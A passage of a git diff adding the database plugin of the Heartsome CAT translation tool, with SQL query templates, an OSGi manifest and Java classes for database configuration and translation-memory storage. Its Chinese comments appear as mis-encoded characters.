JOIN TEXTDATA B ON A.GROUPID = B.GROUPID + WHERE 1=1 ###WHERE### + + + SELECT A.GROUPID AS ID, A.###IGNORETAG### as SRC, B.###IGNORETAG### AS TGT from TEXTDATA A + INNER JOIN TEXTDATA B ON A.GROUPID = B.GROUPID + WHERE LOWER(A.LANG)=? AND LOWER(B.LANG) =? + + + SELECT A.GROUPID AS ID,A.###IGNORETAG### AS SRC,B.###IGNORETAG### AS TGT from TEXTDATA A + INNER JOIN TEXTDATA B ON A.GROUPID = B.GROUPID + WHERE LOWER(A.LANG) = ? and LOWER(B.LANG) = ? ORDER BY A.###IGNORETAG### + + + SELECT A.GROUPID AS ID,A.###IGNORETAG### AS SRC,B.###IGNORETAG### AS TGT from TEXTDATA A + INNER JOIN TEXTDATA B ON A.GROUPID = B.GROUPID + WHERE LOWER(A.LANG) = ? and LOWER(B.LANG) = ? ORDER BY B.###IGNORETAG### + + + SELECT A.GROUPID AS ID,A.###IGNORETAG### AS SRC,B.###IGNORETAG### AS TGT from TEXTDATA A + INNER JOIN TEXTDATA B ON A.GROUPID = B.GROUPID + WHERE LOWER(A.LANG) = ? and LOWER(B.LANG) = ? + + + SELECT A.GROUPID AS ID from TEXTDATA A + INNER JOIN TEXTDATA B ON A.GROUPID = B.GROUPID + LEFT JOIN MNOTE C ON C.PARENTID = A.GROUPID + WHERE LOWER(A.LANG)=? AND LOWER(B.LANG)=? AND C.CONTENT IS NOT NULL + + + SELECT A.GROUPID AS ID, A.PURE AS SRC,B.PURE AS TGT from TEXTDATA A + INNER JOIN TEXTDATA B ON A.GROUPID = B.GROUPID + WHERE LOWER(A.LANG)=? AND LOWER(B.LANG)=? + + + SELECT A.GROUPID AS ID, B.###IGNORETAG### AS TGT from TEXTDATA A + INNER JOIN TEXTDATA B ON A.GROUPID = B.GROUPID + WHERE LOWER(A.LANG)=? AND LOWER(B.LANG)=? + + + + + SELECT GROUPID ,CONTENT FROM TEXTDATA WHERE LANG = ? + + + SELECT COUNT(GROUPID) AS TUVCOUNT FROM TEXTDATA + WHERE TYPE ='M' AND GROUPID + =? + + + SELECT TPKID FROM TEXTDATA WHERE GROUPID =? + + + + DELETE FROM TEXTDATA WHERE TPKID=? + + + + DELETE FROM TEXTDATA WHERE TPKID IN (_SET_) + + + SELECT TPKID FROM TEXTDATA WHERE LANG IN + (_LANG_SET_) AND GROUPID IN + (_SET_) + + + SELECT TPKID FROM TEXTDATA WHERE LANG IN + (_LANG_SET_) + + + + + DELETE FROM MEXTRA WHERE PARENTID=? AND + PARENTNAME=? + + + + DELETE FROM MEXTRA WHERE PARENTNAME=? AND + PARENTID IN (_SET_) + + + + INSERT INTO MEXTRA (PARENTNAME , PARENTID ,NTYPE + ,NNAME,CONTENT) + VALUES(?,?,'A',?,?) + + + DELETE FROM MEXTRA WHERE PARENTNAME = ? AND + PARENTID = ? AND NTYPE='A' AND + NNAME =? + + + UPDATE MEXTRA SET CONTENT = ? WHERE + PARENTID = + ? AND NNAME = ? AND + PARENTNAME=? + + + + SELECT MEPKID FROM MEXTRA WHERE NNAME = ? AND + NTYPE =? AND PARENTNAME=? AND PARENTID IN (_SET_) + + + + DELETE FROM MEXTRA WHERE MEPKID IN(_SET_) + + + + + + + DELETE FROM LANG WHERE LANGCODE=? + + + + SELECT COUNT(LANG) FROM TEXTDATA WHERE LANG=? + + + + DELETE FROM MATRIX___LANG__ WHERE TPKID =? + + + + DELETE FROM MATRIX___LANG__ WHERE TPKID IN + (_SET_) + + + + + SELECT TABLE_TEMP.TUID AS + TUPKID,TABLE_TEMP.SRC_CONTENT AS + SRC,TABLE_TEMP.TGT_CONTENT AS + TGT,MTU.CHANGEDATE AS CHANGE_DATE + FROM + (SELECT SRC_TUID AS TUID, + SRC_CONTENT ,TGT_CONTENT FROM + + (SELECT GROUPID AS SRC_TUID ,CONTENT AS + SRC_CONTENT FROM TEXTDATA WHERE + LANG=?) AS SRC_TABLE + + + ,(SELECT GROUPID + AS TGT_TUID ,CONTENT AS TGT_CONTENT FROM TEXTDATA WHERE + LANG=? ) AS + TGT_TABLE + + WHERE SRC_TUID=TGT_TUID ) AS TABLE_TEMP + + ,MTU WHERE + TABLE_TEMP.TUID =MTU.MTUPKID + + + + + SELECT TABLE_TEMP.TUID AS + TUPKID,TABLE_TEMP.SRC_CONTENT AS + SRC,TABLE_TEMP.TGT_CONTENT AS + TGT,MTU.CHANGEDATE AS CHANGE_DATE + FROM + (SELECT SRC_TUID AS TUID, + SRC_CONTENT ,TGT_CONTENT FROM + + (SELECT GROUPID AS SRC_TUID ,PURE AS + SRC_CONTENT FROM TEXTDATA WHERE + LANG=?) AS SRC_TABLE + + + ,(SELECT GROUPID + AS TGT_TUID ,PURE AS TGT_CONTENT FROM TEXTDATA WHERE + LANG=? ) AS + TGT_TABLE + + WHERE SRC_TUID=TGT_TUID ) AS TABLE_TEMP + + ,MTU WHERE + TABLE_TEMP.TUID =MTU.MTUPKID + + + + + INSERT INTO BMARTIFHEADER + (HID, CONTENT) + VALUES + (?, ?) + + + INSERT INTO BTERMENTRY + (BMTHPKID, CID, CONTENT) + VALUES (?, ?, ?); + + + INSERT INTO BNODE + (PARENTPKID, PARENTNAME, NTYPE, NNAME, + NID, CONTENT) + VALUES (?, ?, ?, ?, ?, ?) + + + INSERT INTO BREFOBJECTLIST + ( BMTHPKID, ROLID, + CONTENT) + VALUES ( ?, ?, ?); + + + INSERT INTO BATTRIBUTE + ( BMTHPKID, ANAME, AVALUE, + PARENTNAME) + VALUES ( ?, ?, ?, ?); + + + + SELECT BTEPKID FROM BTERMENTRY WHERE + CONTENT + =? + + + + SELECT BTEPKID, BMTHPKID, CID, CONTENT + FROM + BTERMENTRY WHERE BTEPKID=? + + + SELECT CONTENT + FROM BTERMENTRY WHERE + BTEPKID=? + + + SELECT NPKID, PARENTPKID, PARENTNAME, NTYPE, NNAME, + NID, CONTENT + FROM BNODE WHERE 1=1 __WHERE__ + + + + + UPDATE BTERMENTRY + SET CONTENT = ? + WHERE BTEPKID = ? + + + + DELETE FROM TEXTDATA WHERE GROUPID=? AND + LANG =? AND TYPE='B' + + + DELETE FROM BNODE WHERE NPKID=? + + + + + + SELECT DISTINCT(MTUPKID) FROM MTU A + LEFT JOIN MNOTE B + ON B.PARENTID=A.MTUPKID + LEFT JOIN TEXTDATA C ON C.GROUPID = A.MTUPKID + WHERE 1=1 __where__ + + + SELECT DISTINCT(MHPKID) FROM MTU A + LEFT JOIN MNOTE B ON + B.PARENTID=A.MTUPKID + LEFT JOIN TEXTDATA C ON C.GROUPID = A.MTUPKID + WHERE 1=1 __where__ + + + + SELECT DISTINCT(GROUPID) FROM TEXTDATA WHERE + TYPE='B' AND (__langwhere__) + __where__ + + + SELECT DISTINCT(LANG) FROM TEXTDATA WHERE + GROUPID = ? + + + + SELECT C.MTUPKID TUID,C.CREATIONID,C.CREATIONDATE, C.CHANGEID, + C.CHANGEDATE,D.MPPKID,B.LANG,__IGNORE_MARK__ + FROM (SELECT * FROM + TEXTDATA WHERE __GROUPID_LIST__ TYPE = 'M' + __LANGUAGE_LIST__) B + LEFT + JOIN MTU C ON B.GROUPID = C.MTUPKID + LEFT JOIN MPROP D ON B.GROUPID = + D.PARENTID AND D.PARENTNAME = 'TU' AND + D.PNAME = 'x-flag' AND + D.CONTENT = 'HS-Flag' + + + SELECT GROUPID FROM TEXTDATA A WHERE __GROUP__ __CONDITION__ + + + + SELECT B.GROUPID,B.LANG,__IGNORE_MARK__ + FROM (SELECT A.GROUPID FROM + TEXTDATA A WHERE A.TYPE = 'B' __CONDITION__) + A + LEFT JOIN TEXTDATA B ON + A.GROUPID=B.GROUPID AND B.TYPE='B' + __LANGUAGE_LIST__ + + + SELECT TPKID, GROUPID, PURE, CONTENT, PRECONTEXT, + NEXTCONTEXT FROM TEXTDATA + WHERE TPKID IN (__SET__) ORDER BY GROUPID + DESC + + + SELECT TPKID, PURE, CONTENT, CREATIONID, + CREATIONDATE, CHANGEID, + CHANGEDATE, PROJECTREF + FROM TEXTDATA INNER JOIN + MTU ON MTU.MTUPKID = TEXTDATA.GROUPID AND + TEXTDATA.GROUPID = + __GROUPID__ AND TEXTDATA.LANG = '__LANG__' + + + diff --git a/database/net.heartsome.cat.database/META-INF/MANIFEST.MF b/database/net.heartsome.cat.database/META-INF/MANIFEST.MF new file mode 100644 index 0000000..65b4049 --- /dev/null +++ b/database/net.heartsome.cat.database/META-INF/MANIFEST.MF @@ -0,0 +1,19 @@ +Manifest-Version: 1.0 +Bundle-ManifestVersion: 2 +Bundle-Name: Heartsome CAT Database +Bundle-SymbolicName: net.heartsome.cat.database +Bundle-Version: 8.0.3.R8b_v20140106 +Bundle-Activator: net.heartsome.cat.database.Activator +Require-Bundle: org.eclipse.core.runtime, + net.heartsome.cat.thirdpartlibrary;bundle-version="1.0.0", + net.heartsome.xml;bundle-version="1.0.0", + net.heartsome.cat.common.core;bundle-version="1.0.0", + org.eclipse.ui;bundle-version="3.7.0" +Bundle-ActivationPolicy: lazy +Bundle-RequiredExecutionEnvironment: J2SE-1.5 +Export-Package: net.heartsome.cat.database, + net.heartsome.cat.database.bean, + net.heartsome.cat.database.service, + net.heartsome.cat.database.tmx, + net.heartsome.cat.document +Bundle-Vendor: Heartsome Technologies Ltd. diff --git a/database/net.heartsome.cat.database/build.properties b/database/net.heartsome.cat.database/build.properties new file mode 100644 index 0000000..190eabe --- /dev/null +++ b/database/net.heartsome.cat.database/build.properties @@ -0,0 +1,6 @@ +javacDefaultEncoding.. = UTF-8 +source.. = src/ +output.. = bin/ +bin.includes = META-INF/,\ + .,\ + Configure/ diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/Activator.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/Activator.java new file mode 100644 index 0000000..55be09b --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/Activator.java @@ -0,0 +1,55 @@ +package net.heartsome.cat.database; + +import org.eclipse.core.runtime.Plugin; +import org.osgi.framework.BundleContext; + +/** + * The activator class controls the plug-in life cycle + */ +public class Activator extends Plugin { + + /** æ’件的 ID */ + public static final String PLUGIN_ID = "net.heartsome.cat.database"; + + /** context. */ + public static BundleContext context; + + // The shared instance + private static Activator plugin; + + /** + * The constructor + */ + public Activator() { + } + + /** + * (non-Javadoc) + * + * @see org.eclipse.ui.plugin.AbstractUIPlugin#start(org.osgi.framework.BundleContext) + */ + public void start(BundleContext context) throws Exception { + super.start(context); + plugin = this; + Activator.context = context; + } + + /** + * (non-Javadoc) + * + * @see org.eclipse.ui.plugin.AbstractUIPlugin#stop(org.osgi.framework.BundleContext) + */ + public void stop(BundleContext context) throws Exception { + plugin = null; + super.stop(context); + } + + /** + * Returns the shared instance + * @return the shared instance + */ + public static Activator getDefault() { + return plugin; + } + +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/Constants.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/Constants.java new file mode 100644 index 0000000..ca6c116 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/Constants.java @@ -0,0 +1,75 @@ +package net.heartsome.cat.database; + +/** + * æ•°æ®åº“æ“作中所需è¦çš„å¸¸é‡ + * @author terry + * @version + * @since JDK1.6 + */ +public final class Constants { + + /** + * 构造函数 + */ + private Constants() { + } + + public static final int DB_TYPE_TM = 1; + + public static final int DB_TYPE_TB = 2; + + /** 切割字符的长度 */ + public static final int SPLIT_NUM = 4000; + + public static final String CONFIGURE = "Configure"; + + /** æ•°æ®åº“é…置文件路径 */ + public static final String DBCONFIG_PATH = CONFIGURE + "/" + "db_config.xml"; + + /** 系统库å称 */ + public static final String HSSYSDB = "hssysdb8"; + + /** 按速度优化 */ + public static final String OPTIMIZE_SPEED = "speed"; + + /** TBX 文件类型 */ + public static final String TBX = "tbx"; + + /** TMX 文件类型 */ + public static final String TMX = "tmx"; + + + public static final int IMPORT_MODEL_ALWAYSADD = 0; + + public static final int IMPORT_MODEL_OVERWRITE = 1; + + public static final int IMPORT_MODEL_IGNORE = 2; + + public static final int IMPORT_MODEL_MERGE = 3; + + public static final String DBTYPE_INTERNALDB = "Internal DB"; + public static final String DBTYPE_MYSQL = "MySQL 5.x"; + public static final String DBTYPE_Oracle = "Oracle"; + public static final String DBTYPE_POSTGRESQL = "PostgreSQL"; + public static final String DBTYPE_MSSQL2005 = "MsSQL2005"; + public static final String DBTYPE_SQLITE = "SQLite"; + + // é…置文件中加了版本å·ï¼Œä»¥ä¸‹æ˜¯ç”¨äºŽç•Œé¢ä¸Šæ˜¾ç¤ºä½¿ç”¨ã€‚将带有版本å·çš„å称替æ¢ä¸ºä»¥ä¸‹å†…容 + public static final String DBTYPE_MYSQL_FOR_UI = "MySQL"; + public static final String DBTYPE_MSSQL2005_FOR_UI = "SQL Server"; + // + + /** 术语入库时 martifHeader å­èŠ‚点 fileDesc 节点的文本 */ + public static final String TBX_ADD_TERM_FILEDESC = "Generated by Heartsome TBX Exporter"; + public static final String TBX_XCS_DEFAULT = "tbxdefault.xcs"; + + + /** æˆåŠŸæ ‡å¿— */ + public static final int SUCCESS = 1; + /** 失败标志 */ + public static final int FAILURE = -1; + + public static final String X_FLAG = "x-flag"; + + public static final String HS_FLAG = "HS-Flag"; +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/DBConfig.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/DBConfig.java new file mode 100644 index 0000000..e69160e --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/DBConfig.java @@ -0,0 +1,389 @@ +package net.heartsome.cat.database; + +import java.net.URL; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; + +import net.heartsome.cat.common.bean.MetaData; + +import org.dom4j.Document; +import org.dom4j.DocumentException; +import org.dom4j.Element; +import org.dom4j.io.SAXReader; +import org.eclipse.core.runtime.Platform; +import org.osgi.framework.Bundle; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * æ“作数æ®åº“é…ç½®æ–‡ä»¶çš„æ•°æ® + * @author terry + * @version + * @since JDK1.6 + */ +public class DBConfig { + + private Logger logger = LoggerFactory.getLogger(DBConfig.class); + private Element root; + private Element defaultRoot; + private MetaData metaData; + + public DBConfig(URL dbconfig, MetaData metaData){ + this.metaData = metaData; + try { + SAXReader reader = new SAXReader(); + Document doc = reader.read(dbconfig); + root = doc.getRootElement(); + + Bundle buddle = Platform.getBundle(Activator.PLUGIN_ID); + URL defaultUrl = buddle.getEntry(Constants.DBCONFIG_PATH); + SAXReader defaultReader = new SAXReader(); + Document defaultDoc = defaultReader.read(defaultUrl); + defaultRoot = defaultDoc.getRootElement(); + } catch (DocumentException e) { + logger.warn("", e); + } + } + // just for test + public DBConfig(String defaultUrl, MetaData metaData,String extendsUrl){ + this.metaData = metaData; + try { + SAXReader reader = new SAXReader(); + Document doc = reader.read(extendsUrl); + root = doc.getRootElement(); + + SAXReader defaultReader = new SAXReader(); + Document defaultDoc = defaultReader.read(defaultUrl); + defaultRoot = defaultDoc.getRootElement(); + + } catch (DocumentException e) { + logger.warn("", e); + } + } + /** + * 构造函数,读å–æ•°æ®åº“é…置文件信æ¯å¹¶åˆå§‹åŒ– + * @param dbconfig + */ + public DBConfig(URL dbconfig) { + this(dbconfig, null); + } + + /** + * å–得默认的数æ®åº“æœåŠ¡å™¨ + * @return + */ + public String getDefaultServer() { + return getDefaultProperty("server"); + } + + /** + * å–得默认的数æ®åº“ç§ç±»å称 + * @return + */ + public String getDefaultType() { + return getDefaultProperty("type"); + } + + /** + * å–得默认的数æ®åº“端å£å· + * @return + */ + public String getDefaultPort() { + return getDefaultProperty("port"); + } + + /** + * å–得默认的é…置属性 + * @param name é…置的å称。 + * @return ; + */ + private String getDefaultProperty(String name) { + Element dfElement = getElementWithDefault("default"); + if (dfElement == null) { + return ""; + } + @SuppressWarnings("unchecked") + List propertyElement = dfElement.elements("property"); + for (Element i : propertyElement) { + if (name.equals(i.attribute("name").getText())) { + return i.getText(); + } + } + return ""; + } + + /** + * å–得连接数æ®åº“ URL + * @return + */ + public String getDbURL() { + Element urlElement = getElementWithDefault("url"); + if(urlElement == null){ + return null; + } + return Utils.replaceParams(urlElement.getTextTrim(), metaData); + } + + /** + * å–å¾—æ•°æ®åº“连接é…置属性 + * @return + */ + public HashMap getConfigProperty() { + HashMap result = new HashMap(); + Element propertyElement = getElementWithDefault("config-property"); + if (propertyElement == null) { + return result; + } + @SuppressWarnings("unchecked") + List properties = propertyElement.elements("property"); + for (Element i : properties) { + result.put(i.attributeValue("name"), Utils.replaceParams(i.getTextTrim(), metaData)); + } + return result; + } + + /** + * å–得创建数æ®åº“çš„è¯­å¥ + * @return + */ + public String getCreateDb() { + Element createDbElement = getElementWithDefault("create-database"); + if(createDbElement == null){ + return null; + } + return Utils.replaceParams(createDbElement.getTextTrim(), metaData); + } + + /** + * å–得删除数æ®åº“çš„è¯­å¥ + * @return + */ + public String getDropDb() { + Element dropDbElement = getElementWithDefault("drop-database"); + if(dropDbElement == null){ + return null; + } + return Utils.replaceParams(dropDbElement.getTextTrim(), metaData); + } + + /** + * å–得创建数æ®åº“表格的 SQL è¯­å¥ + * @return + */ + public List getCreateTables() { + List result = new ArrayList(); + Element createTableElement = getElementWithDefault("create-tables"); + if (createTableElement == null) { + return result; + } + @SuppressWarnings("unchecked") + List createTables = createTableElement.elements("step"); + for (Element i : createTables) { + result.add(Utils.replaceParams(i.getText(), metaData)); + } + return result; + } + + /** + * 获å–创建索引的SQLè¯­å¥ + * @return ; + */ + public List getCreateIndexs(){ + List result = new ArrayList(); + Element createTableElement = getElementWithDefault("create-index"); + if (createTableElement == null) { + return result; + } + @SuppressWarnings("unchecked") + List createTables = createTableElement.elements("step"); + for (Element i : createTables) { + result.add(Utils.replaceParams(i.getText(), metaData)); + } + return result; + } + + /** + * å–å¾—æ•°æ®åº“连接驱动 + * @return + */ + public String getDriver() { + Element driverElement = getElementWithDefault("driver"); + if (driverElement == null) { + return null; + } + return Utils.replaceParams(driverElement.getTextTrim(),metaData); + } + + /** + * å–得系统库中存储的数æ®åº“列表 + * @return + */ + public String getSysDbList() { + Element e = getElementWithDefault("get-dblist"); + if(e == null){ + return null; + } + return Utils.replaceParams(e.getText(), metaData); + } + + /** + * å–å¾—æ’入系统库的 SQL è¯­å¥ + * @return + */ + public String getInsertSysDb() { + Element e = getElementWithDefault("insert-db"); + if(e == null){ + return null; + } + return Utils.replaceParams(e.getText(), metaData); + } + + /** + * å–得创建系统库的 SQL è¯­å¥ + * @return + */ + public String getCreateSysDb() { + Element e = getElementWithDefault("create-database"); + if(e == null){ + return null; + } + return Utils.replaceParams(e.getText(), metaData); + } + + /** + * å–得创建系统库表格的 SQL è¯­å¥ + * @return + */ + public List getCreateSysTables() { + List result = new ArrayList(); + Element createTableElement = getElementWithDefault("create-hssystables"); + if (createTableElement == null) { + return result; + } + @SuppressWarnings("unchecked") + List createTables = createTableElement.elements("step"); + for (Element i : createTables) { + result.add(Utils.replaceParams(i.getText(), metaData)); + } + return result; + } + + /** + * å–得删除系统库中记录的 SQL è¯­å¥ + * @return + */ + public String getRemoveSysDb() { + Element e = getElementWithDefault("remove-db"); + if(e == null){ + return null; + } + return Utils.replaceParams(e.getText(), metaData); + } + + public List getCreateMatrixTables(){ + return getCreateMatrix("create-table"); + } + + public List getCreateMatrixIndexes(){ + return getCreateMatrix("create-index"); + } + + private List getCreateMatrix(String elementName){ + List result = new ArrayList(); + Element matrixElement = getElementWithDefault("matrix-operation"); + if(matrixElement == null){ + return result; + } + @SuppressWarnings("unchecked") + List elements = matrixElement.element(elementName).elements(); + if(elements == null){ + return result; + } + for(Element i : elements){ + result.add(Utils.replaceParams(i.getText(), metaData)); + } + return result; + } + + /** + * å–å¾—æ“作 Matrix 表的 SQL è¯­å¥ + * @param key + * @return ; + */ + public String getMatrixSQL(String key){ + Element e = getElementWithDefault("matrix-operation"); + if(e == null){ + return null; + } + return Utils.replaceParams(e.elementText(key),metaData); + } + + /** + * å–å¾—æ“作翻译库(记忆库,术语库)çš„ SQL è¯­å¥ + * @param key + * @return + */ + public String getOperateDbSQL(String key) { + if (root == null) { + if(defaultRoot == null){ + return null; + } + else{ + return Utils.replaceParams(defaultRoot.element("operate-db").elementText(key), metaData); + } + } + Element e = root.element("operate-db"); + if(e == null){ + if(defaultRoot == null){ + return null; + } + else{ + return Utils.replaceParams(defaultRoot.element("operate-db").elementText(key), metaData); + } + } + else{ + Element e2 = e.element(key); + if(e2 == null){ + if(defaultRoot == null){ + return null; + } + else{ + return Utils.replaceParams(defaultRoot.element("operate-db").elementText(key), metaData); + } + } + else{ + return Utils.replaceParams(e2.getText(), metaData); + } + } + } + + private Element getElementWithDefault(String name){ + if(root == null){ + if(defaultRoot == null){ + return null; + } + Element e = defaultRoot.element(name); + if(e == null){ + return null; + } + else{ + return e; + } + } + Element e = root.element(name); + if(e == null){ + if(defaultRoot == null){ + return null; + } + else{ + e = defaultRoot.element(name); + } + } + return e; + } + + public void setMetaData(MetaData metaData) { + this.metaData = metaData; + } +} diff --git a/database/net.heartsome.cat.database/src/net/heartsome/cat/database/DBOperator.java b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/DBOperator.java new file mode 100644 index 0000000..2f9cd37 --- /dev/null +++ b/database/net.heartsome.cat.database/src/net/heartsome/cat/database/DBOperator.java @@ -0,0 +1,5317 @@ +package net.heartsome.cat.database; + +import java.nio.charset.CharsetEncoder; +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.ResultSet; +import java.sql.ResultSetMetaData; +import java.sql.SQLException; +import java.sql.Statement; +import java.sql.Timestamp; +import java.util.ArrayList; +import java.util.Collection; +import java.util.Collections; +import java.util.Comparator; +import java.util.Date; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Hashtable; +import java.util.IdentityHashMap; +import java.util.Iterator; +import java.util.LinkedHashMap; +import java.util.List; +import java.util.Map; +import java.util.Map.Entry; +import java.util.TreeMap; +import java.util.Vector; +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import net.heartsome.cat.common.bean.FuzzySearchResult; +import net.heartsome.cat.common.bean.MetaData; +import net.heartsome.cat.common.bean.TmxContexts; +import net.heartsome.cat.common.bean.TmxNote; +import net.heartsome.cat.common.bean.TmxProp; +import net.heartsome.cat.common.bean.TmxSegement; +import net.heartsome.cat.common.bean.TmxTU; +import net.heartsome.cat.common.bean.TranslationUnitAnalysisResult; +import net.heartsome.cat.common.innertag.TmxInnerTagParser; +import net.heartsome.cat.common.tm.MatchQuality; +import net.heartsome.cat.common.util.CommonFunction; +import net.heartsome.cat.common.util.DateUtils; +import net.heartsome.cat.common.util.InnerTagClearUtil; +import net.heartsome.cat.common.util.TextUtil; +import net.heartsome.cat.database.bean.ExportFilterBean; +import net.heartsome.cat.database.bean.ExportFilterComponentBean; +import net.heartsome.cat.database.bean.FuzzySearchResults; +import net.heartsome.cat.database.bean.TranslationUnitAnalysisResults; +import net.heartsome.cat.database.tmx.ConcordanceBean; +import net.heartsome.cat.database.tmx.LanguageTMX; + +import org.eclipse.core.runtime.IProgressMonitor; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +/** + * 记忆库和术语库管ç†ç±» + * @author Jason + * @version + * @since JDK1.6 + */ +public abstract class DBOperator { + + public static final Logger LOGGER = LoggerFactory.getLogger(DBOperator.class); + + /** æ•°æ®åº“å…ƒæ•°æ® */ + protected MetaData metaData; + + /** æ•°æ®åº“é…ç½® */ + protected DBConfig dbConfig; + + /** æ•°æ®åº“连接 */ + protected Connection conn = null; + + /** 用于查询时的缓存 */ + protected Vector langCaches = new Vector(); + + /** + * 设置数æ®åº“å…ƒæ•°æ® + * @param metaData + * ; + */ + public void setMetaData(MetaData metaData) { + this.metaData = metaData; + } + + /** + * 获å–æ•°æ®åº“å…ƒæ•°æ® ; + */ + public MetaData getMetaData() { + return this.metaData; + } + + /** + * å–å¾—æ•°æ®åº“é…ç½® + * @return ; + */ + public DBConfig getDbConfig() { + return dbConfig; + } + + /** + * åˆå§‹åŒ–æ•°æ®åº“连接 + * @throws SQLException + * @throws ClassNotFoundException + */ + public abstract void start() throws SQLException, ClassNotFoundException; + + /** + * 释放å ç”¨çš„èµ„æº + * @throws SQLException + */ + public void end() throws SQLException { + if (conn != null) { + conn.close(); + } + if (langCaches != null) { + langCaches.clear(); + } + } + + public boolean isClosed() throws SQLException { + return conn == null || conn.isClosed(); + } + + public Connection getConnection() { + return this.conn; + } + + /** + * 回滚事务 + * @throws SQLException + */ + public void rollBack() throws SQLException { + if (conn != null) { + conn.rollback(); + } + } + + /** + * æ交事务 + * @throws SQLException + */ + public void commit() throws SQLException { + if (conn != null) { + conn.commit(); + } + } + + public void beginTransaction() throws SQLException { + if (conn != null && conn.getAutoCommit() != false) { + conn.setAutoCommit(false); + } + } + + // TODO =========================TMX部分(开始)========================= + /** + * å°†TMXçš„header接点的主è¦å±žæ€§å†™å…¥åˆ°mheader表中 + * @throws SQLException + */ + public String insertHeader(Hashtable params) throws SQLException { + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-mheader"); + stmt = conn.prepareStatement(sql, Statement.RETURN_GENERATED_KEYS); + int i = 1; + stmt.setString(i++, params.get("CREATIONTOOL")); + stmt.setString(i++, params.get("CTVERSION")); + stmt.setString(i++, params.get("TMF")); + stmt.setString(i++, Utils.convertLangCode(params.get("SRCLANG"))); + stmt.setString(i++, params.get("ADMINLANG")); + stmt.setString(i++, params.get("DATATYPE")); + stmt.setString(i++, params.get("SEGTYPE")); + stmt.setString(i++, params.get("CREATIONID")); + stmt.setString(i++, params.get("CREATIONDATE")); + stmt.setString(i++, params.get("CHANGEID")); + stmt.setString(i++, params.get("CHANGEDATE")); + stmt.setString(i++, params.get("ENCODING")); + int row = stmt.executeUpdate(); + String key = "-1"; + if (row == 1) { + ResultSet rs = stmt.getGeneratedKeys(); + if (rs.next()) { + key = rs.getString(1); + } + if (rs != null) + rs.close(); + } + return key; + } finally { + if (stmt != null) { + stmt.close(); + } + } + } + + /** + * 将数æ®æ’å…¥HEADERNODE表 + * @param params + * ; + * @throws SQLException + */ + public void insertHeaderNode(Hashtable params) throws SQLException { + PreparedStatement stmt = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-mheadernode"); + stmt = conn.prepareStatement(sql); + int i = 1; + stmt.setInt(i++, Integer.parseInt(params.get("HEADERID"))); + stmt.setString(i++, params.get("NODENAME")); + stmt.setString(i++, params.get("NODETYPE")); + stmt.setString(i++, params.get("CONTENT")); + stmt.executeUpdate(); + } finally { + if (stmt != null) { + stmt.close(); + } + } + + } + + /** + * 将数æ®å†™å…¥åˆ°MTU表中 + * @param params + * @return + * @throws SQLException + * ; + */ + public int insertTU(int headerId, String tuId, String creationId, String creationDate, String changeId, + String changeDate, String creationTool, String creationToolVersion, String client, String projectRef, + String jobRef) throws SQLException { + PreparedStatement stmt = null; + ResultSet rs = null; + try { + String sql = dbConfig.getOperateDbSQL("insert-tu"); + if (null == conn) { + return -1; + } + stmt = conn.prepareStatement(sql, java.sql.Statement.RETURN_GENERATED_KEYS); + int i = 1; + stmt.setInt(i++, headerId); + stmt.setString(i++, tuId); + stmt.setString(i++, creationId); + stmt.setTimestamp(i++, DateUtils.getTimestampFromUTC(creationDate)); + stmt.setString(i++, changeId); + stmt.setTimestamp(i++, DateUtils.getTimestampFromUTC(changeDate)); + stmt.setString(i++, creationTool); + stmt.setString(i++, creationToolVersion); + stmt.setString(i++, client); + stmt.setString(i++, projectRef); + stmt.setString(i++, jobRef); + stmt.executeUpdate(); + rs = stmt.getGeneratedKeys(); + if (rs.next()) { + return rs.getInt(1); + } + } finally { + if (rs != null) { + rs.close(); + } + if (stmt != null) { + stmt.close(); + } + } + return -1; + } + + /** + * æ’入数æ®åˆ°TEXTDATA表,更新LANGS表和MATRIX_LANG表 + * @param params + * @return æ’å…¥TEXTDATA表记录的ID + * @throws SQLException + */ + public String insertTextData(String type, int groupId, String hash, String pureText, String content, String lang, + String preContext, String nextContext) throws SQLException { + /* + * 步骤 1.添加记录到TEXTDATA表 2.查看LANGS表是å¦æœ‰åˆšæ‰æ·»åŠ çš„语言,没有则需è¦å¢žåŠ ä¸€æ¡è®°å½•ï¼Œç„¶åŽéœ€è¦åˆ›å»ºç›¸å¯¹åº”çš„matrix表 3.添加记录到Matrix表 + */ + String textDataId = null; + PreparedStatement stmt = null; + try { + String langCode = Utils.langToCode(lang).toUpperCase(); + String sql = dbConfig.getOperateDbSQL("get-lang-bycode"); + if (!langCaches.contains(lang)) { + Map> langRs = query(sql, new Object[] { lang }); + if (langRs.size() == 0) { // 说明对应的Matrix表还没有创建 + sql = dbConfig.getOperateDbSQL("insert-lang"); + stmt = conn.prepareStatement(sql); + stmt.setString(1, lang); + stmt.executeUpdate(); + stmt.close(); + + // 创建表 + List createMatrixTables = dbConfig.getCreateMatrixTables(); + for (String i : createMatrixTables) { + i = i.replaceAll("__LANG__", langCode); + stmt = conn.prepareStatement(i); + stmt.execute(); + stmt.close(); + } + + // 创建索引 + List createMatrixIndex = dbConfig.getCreateMatrixIndexes(); + for (String i : createMatrixIndex) { + i = i.replaceAll("__LANG__", langCode); + stmt = conn.prepareStatement(i); + stmt.execute(); + stmt.close(); + } + langCaches.add(lang); + } + } + if (pureText != null && lang != null && content != null) { + sql = dbConfig.getOperateDbSQL("insert-textdata"); + stmt = conn.prepareStatement(sql, java.sql.Statement.RETURN_GENERATED_KEYS); + int i = 1; + stmt.setString(i++, type); + stmt.setInt(i++, groupId); + stmt.setInt(i++, Integer.parseInt(hash)); + stmt.setString(i++, pureText); + 